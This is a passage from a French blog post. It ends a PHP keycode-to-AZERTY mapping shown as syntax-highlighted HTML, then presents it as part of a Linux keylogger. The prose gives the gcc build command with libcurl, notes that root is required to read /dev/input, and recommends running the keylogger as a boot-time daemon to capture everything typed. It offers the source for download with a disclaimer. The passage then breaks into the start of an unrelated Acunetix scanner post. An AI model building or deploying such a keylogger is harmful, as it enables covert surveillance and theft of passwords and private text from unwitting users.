#ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">96</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">97</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">98</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"/"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">99</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">100</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<ALTGr>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">101</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">102</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">103</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<Up Arrow>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">104</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<UP>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">105</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<Left Arrow>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">106</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<Right Arrow>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">107</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<END>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">108</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<Down Arrow>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">109</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<DOWN>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">110</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">111</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<DEL>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">112</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">113</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">114</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">115</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">116</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">117</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">118</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">119</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">120</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">121</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">122</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">123</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">124</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<?>"</span><span style="color: #d2cd86; background: #281800;">,</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #008c00; background: #281800;">125</span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">=</span><span style="color: #d2cd86; background: #281800;">></span><span style="color: #ffffff; background: #281800;"> </span><span style="color: #00c4c4; background: #281800;">"<META>"</span> <span style="color: #ffffff; background: #281800;"> </span><span style="color: #d2cd86; background: #281800;">)</span><span style="color: #b060b0; background: #281800;">;</span><span style="color: #ffffff; background: #281800;"> </span> <span style="color: #ff8906; background: #281800;">?></span> |
Le fichier keymap_fr.php contient la correspondance des codes pour les touches d’un clavier AZERTY, je n’ai pas eu le courage ni l’envie de concevoir l’équivalent pour un clavier QWERTY, je laisse le soin aux volontaires d’étendre le mappage.
Il est important de noter que ce keylogger requière les droits root pour pouvoir fonctionner, en effet, il n’est pas possible de lire directement les entrées clavier depuis le contenu du répertoire /dev/input/by-path/ sans ces fameux privilèges.
Pour compiler le keylogger, il suffit de se placer dans le répertoire contenant ses sources et de taper :
gcc -lcurl keylogger.c net.c -o keylogger
Si vous obtenez des erreurs lors de la compilation, cela est probablement causé par l’absence de la librairie curl sur votre machine.
Un bon moyen d’utiliser ce keylogger et de l’exécuter sous forme daemon, il se lancera ainsi automatiquement au démarrage du PC et récupèrera tout ce qui sera tapé au clavier.
Vous pouvez télécharger les sources du keylogger depuis ce lien. Je décline toutes responsabilités quant à l’utilisation que vous en ferez.



Acunetix WVS Free Edition est la version gratuite du scanneur de failles Acunetix Web Vulnerability Scanner. Comme vous vous en doutez cette version gratuite a des limitations par rapport à la version payante, elle est en effet “bridée” à la vérification des